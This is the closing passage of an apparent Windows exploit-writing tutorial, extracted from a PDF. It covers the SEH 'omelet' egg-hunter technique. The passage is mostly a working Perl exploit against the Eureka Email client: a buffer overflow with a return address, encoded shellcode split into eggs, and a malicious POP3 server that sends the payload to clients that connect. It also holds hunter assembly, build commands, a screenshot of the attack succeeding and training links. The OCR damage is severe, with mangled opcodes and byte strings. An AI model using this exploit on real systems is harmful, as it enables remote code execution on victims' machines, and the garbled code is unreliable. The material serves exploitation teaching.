EDX = SEH_frames[0].handler
  JNE
            find_last_SEH_loop
                                        ;
  POP
           FDX
  CALL
           create_SEH_handler
                                        ; SEH_frames[0].handler == SEH_handler
SEH handler:
                                       ; ESI = [ESP + 4] ->
; struct exception_info
  POPA
                                        ; ESP = struct exception_info->exception_addr
  LEA
           ESP, [BYTE ESI+0x18]
                                         EAX = exception address 0x???????
EAX = 0x????FFF
  POP
           EAX
  0R
           AX, 0xFFF
                                         EAX = 0x????FFF + 1 \rightarrow next page
  INC
           EAX
                                         EAX > 0x7FFFFFF ===> done
  15
           done
  XCHG
           EAX. EDI
                                         EDI => next page
  JMP
           reset_stack
done:
                                       ; EAX = 0
  XOR
           EAX, EAX
                                        ; EDI += Bottom of stack
  CALL
            [BYTE FS:EAX + 8]
                                             == position of egg in shellcode.
    db
              marker_bytes_location
             max_index_location
egg_size_location
    db
    db
```

You can download the tweaked code here :

corelanc0d3r w32_seh_omelet (ASM) (Log in before downloading this file !) - Downloaded 17 times

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

Compile this modified code again, and recreate the eggs :

"c:\program files\nasm\nasm.exe" -f bin -o w32_omelet.bin w32_SEH_corelanc0d3r_omelet.asm -w+error w32_SEH_omelet.py w32_omelet.bin shellcode.bin calceggs.txt 127_0xBADA55

Copy the omelet code from the newly created calceggs.txt file and put it in the exploit.

Exploit now looks like this :

use Socket;

c) Peter Van Eeckhouttie

http://www.corelan.be:8800

```
http://www.corelan.be:8800
```

c) Peter Van Feckhoutte

#fill out the local IP or hostname #which is used by Eureka EMail as POP3 server #note : must be exact match !
my \$localserver = "192.168.0.193"; my \$cocase(ver = 192.100.0.195),
#calculate offset to EIP
my \$junk = "A" x (723 - length(\$localserver));
my \$ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my \$padding = "\x90" x 1000; my \$omelet_code = "\xbb\xfd\xff\xff\xff". #put 0x "\xEB\x2C\x51\x64\x89\x20\xFC\xB0\x7A\xF2\xAE\x50". "\x89\xFE\xAD\x35\xFF\x55\xDA\xBA\x83\xF8\x03\x77". #put 0xfffffffd in ebx "\x15\x59\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4".
"\x81\xFB\xFF\xFF\xFF\xFF". # compare EBX with FFFFFFF "\x74\x2B". #if EBX is FFFFFFF, jump to shellcode "\x43". #if not, increase EBX and continue "\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x59\x81\xF9" "\xFF\xFF\xFF\xFF\xFF\x75\x5A\xE8\xBE\xFF\xFF\xFF". "\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x06" "\x97\xE9\xD8\xFF\xFF\xFF\x31\xC0\x64\xFF\x50\x08"; \x59\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5A\x56\x54\x58\x33" "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42". "\x41\x41\x42\x54\x41\x51\x32\x41\x42\x32\x42\x30\x42\x42\x58". $\label{eq:1.1} $$ \frac{1}{x43}x44x44x49x4Bx4Cx44x48x50x44x43x30x43x30}.$ "\x45\x50\x4C\x4B\x47\x35\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x43\x48\x45" $\label{eq:constraint} $$ x4F x4C x4B x50 x4F x42 x38 x4C x4B x51 x4F x47 x50 x43 x31".$ "\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43"; my \$eqg2 = "\x7A\xFE\x55\xDA\xBA\x31\x4A\x4E\x50\x31\x49\x50\x4C\x59" \x4E\x4C\x4C\x44\x49\x50\x43\x44\x43\x37\x49\x51\x49\x5A\x44\x4D\x43' "\x31\x49\x52\x4A\x4B\x4A\x54\x47\x4B\x51\x44\x46\x44\x43\x34\x42\x55" "\x4B\x55\x4C\x4B\x51\x4F\x51\x34\x45\x51\x4A\x4B\x42\x46\x4C\x4B\x44". "\x4C\x4B\x45\x51\x4A\x4B\x4D\x59\x51\x4C\x47\x54\x43\x34\x48\x43\x51" "\x4F\x46\x51\x4B\x46\x43\x50\x56\x45\x34\x4C\x4B\x47\x36\x50\x30". "\x4C\x4B\x51\x50\x44\x4C\x4C\x4B\x44\x30\x45"; my \$egg3 = "\x7A\xFD\x55\xDA\xBA\x4C\x4E\x4D\x4C\x4B\x45\x38\x43\x38" \x4B\x39\x4A\x58\x4C\x43\x49\x50\x42\x4A\x50\x50\x42\x48\x4C\x30\x4D". "\x5A\x43\x34\x51\x4F\x45\x38\x4A\x38\x4B\x4E\x4D\x5A\x44\x4E\x46\x37". "\x4B\x4F\x4D\x37\x42\x43\x45\x31\x42\x4C\x42\x43\x45\x50\x41\x41\x40". my \$garbage="This is a bunch of garbage" x 10: my \$payload=\$junk.\$ret.\$omelet_code.\$padding.\$egg1.\$garbage.\$egg2.\$garbage.\$egg3; print "Payload : " . length(\$payload)." bytes\n"; print "Omelet code : " . length(\$omelet_code)." bytes\n"; print " Egg 1 : " . length(\$egg1)." bytes\n"; print " Egg 2 : " . length(\$egg2)." bytes\n"; print " Egg 2 : " . length(\$egg2)." bytes\n"; print " Egg 3 : " length(\$egg3)." bytes\n"; #set up listener on port 110 my \$port=110; my \$proto=getprotobyname('tcp');
socket(SERVER, PF_INET, SOCK_STREAM, \$proto); my \$paddr=sockaddr_in(\$port,INADDR_ANY); bind(SERVER,\$padd); listen(SERVER,SOMAXCONN); print "[+] Listening on tcp port 110 [POP3]... \n"; print "[+] Configure Eureka Mail Client to connect to this host \n"; my \$client_addr; while(\$client addr=accept(CLIENT,SERVER)) ł print "[+] Client connected, sending evil payload\n"; \$cnt=1: while(\$cnt < 10)</pre> { print CLIENT "-ERR ".\$payload."\n";
print " -> Sent ".length(\$payload)." bytes\n"; \$cnt=\$cnt+1; }

```
close CLIENT;
print "[+] Connection closed\n";
```

Ok, the omelet code is slightly larger, and my changes could perhaps be improved a little, but hey: look at the result :

Commission Provingent period					ka Omail -	reter							
lopinitrieureksiperi corelar, daat - 7222 batar	jeonekasploittek			File Ed		Options (
pland : 2752 bytes elet code : 17 bytes For 1 : 527 bytes				in	_	30	A 84	harth					
Fig. 1 i 127 bytes Fig. 2 i 127 bytes Fig. 2 i 127 bytes Fig. 2 i 127 bytes				0-Ja	-2818								
Linforcing on trip port 310 Confrigure Euroka Roll Clief	PIPIL It is connect !	te this he	et		2							- 11	
				No.	a Enal cone!							11	5
												ł	V
				<u> </u>	_	_	_		_	_	_	=	
				28		En (
			_										
			-										
		and the second	12.17.2.1	1				1					
Command Prompt - pe													
										l 🖬 i		-	
and the state of t											E F	e 1	
and the state of t											E F	R [
and the state of t											e e	e (
oplinits/heurelsoper3 corels (lost : 2712 bytes (lost code : 97 bytes fog 1 : 127 bytes fog 2 : 127 bytes fog 2 : 127 bytes fog 3 : 127 bytes	m, wurskapp to	urkat									E F	₽ [
igibiti'aureiaiperi condi load : 2012 bytes lat code : 90 bytes Egg 1 : 202 bytes Egg 2 : 202 bytes Egg 2 : 202 bytes Egg 3 : 202 bytes Listening on trp port 11 Configure Bureis Aui C (Client comected, sendin	er_evrekasplo [POP3] jest to coree	urkal et to the									E F		
opinit/heunekalperi const land : 2722 bytes Gan 2 2722 bytes Eag 2 : 222 bytes Eag 2 : 222 bytes Eag 3 : 222 bytes Lardening on 2: 227 bytes Lardening on 2: 227 bytes Clast consected, seedin -> Sent 2722 bytes -> Sent 2722 bytes	erjevrekasplo 5 (POPS) jest to conve 5 emil pegloo	arkal et to thi							1				
opinith Houred algorit Corel Load = 2722 bytes Load = 2722 bytes Evg 1 = 2272 bytes Evg 2 = 227 bytes Evg 2 = 227 bytes Landows of top port College of top port College of top port College of top port College of top bytes > See 272 bytes > See 272 bytes	er_evrekasplo [POP3] jest to coree	at Kapi et to the d											
opinith Houred algorit Corel Load = 2722 bytes Load = 2722 bytes Evg 1 = 2272 bytes Evg 2 = 227 bytes Evg 2 = 227 bytes Landows of top port College of top port College of top port College of top port College of top bytes > See 272 bytes > See 272 bytes	er, evrekasple 1 (1993) jest te carec peril paglos	at Kapi et to the d											Ę
opinith Houred algorit Corel Load = 2722 bytes Load = 2722 bytes Evg 1 = 2272 bytes Evg 2 = 227 bytes Evg 2 = 227 bytes Landows of top port College of top port College of top port College of top port College of top bytes > See 272 bytes > See 272 bytes	en jeurekaspio i (POP31 jent te conve e enit pagloo Edit View	at Kapi et to the d	a host		Ũn	(F Deg	863	← Rad			. II X		Ę
opinithwowisheri orad load : 2712 bytes Leg 1: 272 bytes Eog 1: 272 bytes Eog 2: 272 bytes Eog 2: 272 bytes Eog 2: 272 bytes Listening on trapert 13 Contigure Environmented, sounday - Sent 272 bytes - Sent 272 bytes	en persiaapio int in corres enti pagico Edit Ver C Hex	erst.pt et to thi d atow + Help P Dec	a hout		0n	f ^r Dege		1	ans	1	0. 8		Ę
opinith Houred algorit Corel Load = 2722 bytes Load = 2722 bytes Evg 1 = 2272 bytes Evg 2 = 227 bytes Evg 2 = 227 bytes Landows of top port College of top port College of top port College of top port College of top bytes > See 272 bytes > See 272 bytes	en jeurekaspio i (POP31 jent te conve e enit pagloo Edit View	intip) d to the d ator = Help	a hout		Din	(F Dege	ees (1		1	. II X		Ę
opinith Houred algorit Corel Load = 2722 bytes Load = 2722 bytes Evg 1 = 2272 bytes Evg 2 = 227 bytes Evg 2 = 227 bytes Landows of top port College of top port College of top port College of top port College of top bytes > See 272 bytes > See 272 bytes	en persiaapio int in corres enti pagico Edit Ver C Hex	erst.pt et to thi d atow + Help P Dec	a hout		Din MC	f ^e Degr		1	ans	1	0. 8		Ę
opinith Houred algorit Corel Load = 2722 bytes Load = 2722 bytes Evg 1 = 2272 bytes Evg 2 = 227 bytes Evg 2 = 227 bytes Landows of top port College of top port College of top port College of top port College of top bytes > See 272 bytes > See 272 bytes	n jezekanji 1990) 1941 te carra 1941 pojto Cda Ven Cda Ven	erst.pt et to thi d atow + Help P Dec	a hout				Backup	1	ans	C Grad	a 🗆 🗶 0. 8 6 6 8 7 8		Ę
(a) (1) (heres) (a) (a) (a) (b) (a) (a) (b) (a) (a) (b) (a) (b) (b) (a) (a) (b) (b) (b) (b) (b) (b) (b) (b) (b) (b	er jegendang bi sect to convergence provid population Calcular Calcular Sta Ave	erst.pt et to thi d atow + Help P Dec	a hout		MC	7	Backap B S	3	ans	← Grad	Q. C And Xar		Ę
(a) (1) (heres) (1) (2) (2) (2) (2) (2) (2) (2) (2) (2) (2	en jegenkang la jed. Ta caree a will pegloo Cate Ver C Here Sta	erst.pt et to thi d atow + Help P Dec	a hout		мс	7	Backup	•••	ans	← Grad	a 🗆 🗶 0. 8 6 6 8 7 8		Ę
(a) (1) (heres) (1) (2) (2) (2) (2) (2) (2) (2) (2) (2) (2	er jegendang bi sect to convergence provid population Calcular Calcular Sta Ave	erst.pt et to thi d atow + Help P Dec	a hout		MC	7	Backap B S	3	ans	← Grad	Q. C And Xar		Ę
(a) (1) (heres) (1) (2) (2) (2) (2) (2) (2) (2) (2) (2) (2	er, werekang in 1 (1993) sert in a Canner sert in a Canner sert in a Canner Size Ave Size Size	erst.pt et to thi d atow + Help P Dec	a hout		MC MR MS	7	Backup B S 2	3	ans	C Grad	C And Xar		Ę

pwned ! :-)

Training

This exploit writing series are free, and may have helped certain people one way or another in their quest to learning about windows exploitation. Reading manuals and tutorials are a good start, but sometimes it's better to get things explained by experts, 101, during some sort of class or training.

I did not get a lot of formal training myself, but I have been told by several people that the Offensive-Security training really kicks ass... So if you are interested in taking should definitely consider http://www.offensive-security.com/pentesting-with-backtrack.php, some classes, you http://www.offensive-security.com/cracking-the-perimeter.php and/or http://www.offensive-security.com/advanced-windows-exploitation.php.

No, I'm not affiliated with Offensive Security in any way, and I'm pretty sure there are many more good classes on exploit writing besides the OffSec ones... (Immunity Sec, etc)

All my thanks are belong to you :

My friends @ Corelan Team (Ricardo, EdiStrosar, mr_me, ekse, MarkoT, sinn3r, Jacky : you guys r0ck !) ,

Berend-Jan Wever (a.k.a. SkyLined), for writing some great stuff,

and thanks to everyone taking the time to read this stuff, provide feedback, and help others on my forum.

Also, cheers to some other nice people I met on Twitter/IRC over the last couple of months. (curtw, Trancer00t, mubix, psifertex, pusscat, hdm, FX, NCR/CRC! [ReVeRsEr], Bernardo Damele, Shahin Ramezany, muts, nullthreat, etc...)

To some of the people I have listed here : Big thanks for responding to my questions or comments (it means a lot to me), and/or reviewing the tutorial drafts...

Finally : thanks to anyone who showed interest in my work, tweeted about it, retweeted messages or simply expressed their appreciation in various mailinglists and forums. Spread the word & make my day !

Remember : Life is not about what you know, but about the will to listen, learn, share & teach.

Terms of Use applicable to this document : http://www.corelan.be:8800/index.php/terms-of-use/

This entry was posted

c) Peter Van Eeckhouttie

on Saturday, January 9th, 2010 at 7:57 pm and is filed under 001 Security, Exploit Writing Tutorials, Exploits You can follow any responses to this entry through the Comments (RSS) feed. You can leave a response, or trackback from your own site.

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

01/03/2010 - 39 / 39